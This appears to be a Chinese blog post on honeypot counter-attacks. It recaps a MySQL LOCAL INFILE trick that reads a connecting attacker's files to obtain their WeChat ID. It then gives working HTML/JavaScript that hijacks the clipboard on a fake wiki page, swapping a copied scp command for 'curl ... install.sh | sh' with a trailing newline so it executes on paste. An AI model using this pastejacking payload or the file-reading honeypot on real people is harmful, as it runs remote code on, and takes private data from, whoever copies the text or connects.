zoukankan      html  css  js  c++  java
  • 从《MySQL蜜罐攻击反制微信ID》中的启发与复现

    起因

    看了《MySQL蜜罐获取攻击者微信ID》(Reference[2])一文之后,觉得思路非常新颖,溯源反制本就不该局限,需要灵活应用。

    大致概述下 《MySQL蜜罐获取攻击者微信ID》所介绍的反制思路

    需要知道反制思路的前提,需要对MySQL LOCAL INFILE漏洞原理有一定了解。

    LOAD DATA LOCAL INFILE 'C:WINDOWSsystem32driversetchosts' INTO TABLE test FIELDS TERMINATED BY 'n';

    当客户端链接上MySQL服务端并执行这条指令的时候,客户端会向服务端发送一条查询报文:

     MySQL服务端从客户端那边收到查询报文,是一个读取本地文件到MySQL表的执行语句,则MySQL需要返回一条“你要插入的文件hosts内容是什么”的报文给客户端

     至此,客户端读取内容,并返送给MySQL服务器

     所以漏洞的成因很简单,蜜罐伪装成存在弱口令的MySQL服务器,当攻击者爆破出用户必会通过链接工具进行链接。

    此时程序再通过漏洞读取C:WindowsPFRO.log文件获取Username

    再通过Username结合得到微信路径'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data',拿到微信ID

    文中给出利用程序地址:https://github.com/qigpig/MysqlHoneypot/blob/master/evalServer.py

    思考

    其实写这篇文章的目的,是对二代蜜罐的反制发展的一个思考面,攻击反制不能依赖于现状!

    这里就顺便写一下我的反制思路

    随着现在攻防愈加激烈,很多攻击方已经做到了办公—渗透环境分离,但是根据我多次使用虚拟机的情况,大都数攻击者都有个通病,就是会开启剪贴板互通功能。

    所以我的切入点还是在网页上,以劫持剪贴板的方式来迷惑攻击者粘贴指定payload指令到剪贴板上

     但是这样一来就能劫持攻击者的剪贴板,但是目前还有2个问题!

    1.如何确定攻击者是剪贴到浏览器或者终端命令行,而不是记事本这类目标。

    2.攻击者不管复制什么都会被劫持成我们的payload,如此一来太明显了

    孙子兵法有云:"水因地而制流,兵因敌而制胜.故兵无常势,水无常形",故而可以局限的方式限制攻击者的思维,引导攻击者的攻击思路!

    1.伪装成一个命令指令,攻击者想来复制这条指令,那么执行对象必定是终端命令行了

    2.监听事件中做个判断,只针对带有命令的内容进行劫持

    现在我们来实操一下:

    <html>
    <head>
        <title>xxx公司内部Wiki文档</title>
        <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script>
    </head>
    <body>
        <script type="text/javascript">
            $(document.body).bind({
                copy: function(e) {//copy事件
                    let cpTxt = "curl https://192.168.0.1/install.sh | sh 
    "; //payload
                    let clipboardData = e.clipboardData || window.clipboardData; //for IE
                    if (!clipboardData) { // for chrome
                        clipboardData = e.originalEvent.clipboardData;
                    }
                    let result = "";
                    if(window.getSelection().toString() == "scp xxx.tar root@192.168.0.1:/xxx.tar"){
                        result = cpTxt;
                    }else{
                        result = window.getSelection().toString();
                    }
                    clipboardData.setData('Text', result);
                                return false;//否则设不生效
                }});
        </script>
        <h1>xxx程序下载指令</h1>
        <h3>下载指令:</h3>
        <p>scp xxx.tar root@192.168.0.1:/xxx.tar</p>
        <h3>登录密码:123456</h3>
    </body>
    
    </html>

     这里感谢我的好友@花与海 给我提出的建议,让我在命令后面直接加上 ,使其粘贴在命令行后可自动执行。

    上述demo只针对scp这条指令做劫持替换,对我复制123456的操作不做任何改动,很好的隐蔽了反制的目的性。

    附上动态测试图:

    Reference:

    [1].https://www.colabug.com/2019/0408/5936906/

    [2].https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg

    [3].https://github.com/qigpig/MysqlHoneypot

    [4].https://www.cnblogs.com/mmykdbc/p/7977985.html

  • 相关阅读:
    在Centos 7下编译openwrt+njit-client
    开博随笔
    Chapter 6. Statements
    Chapter 4. Arrays and Pointers
    Chapter 3. Library Types
    Chapter 2.  Variables and Basic Types
    关于stm32不常用的中断,如何添加, 比如timer10 timer11等
    keil 报错 expected an identifier
    案例分析 串口的地不要接到电源上 会烧掉
    案例分析 CAN OPEN 调试记录 进度
  • 原文地址:https://www.cnblogs.com/wh4am1/p/13571911.html
Copyright © 2011-2022 走看看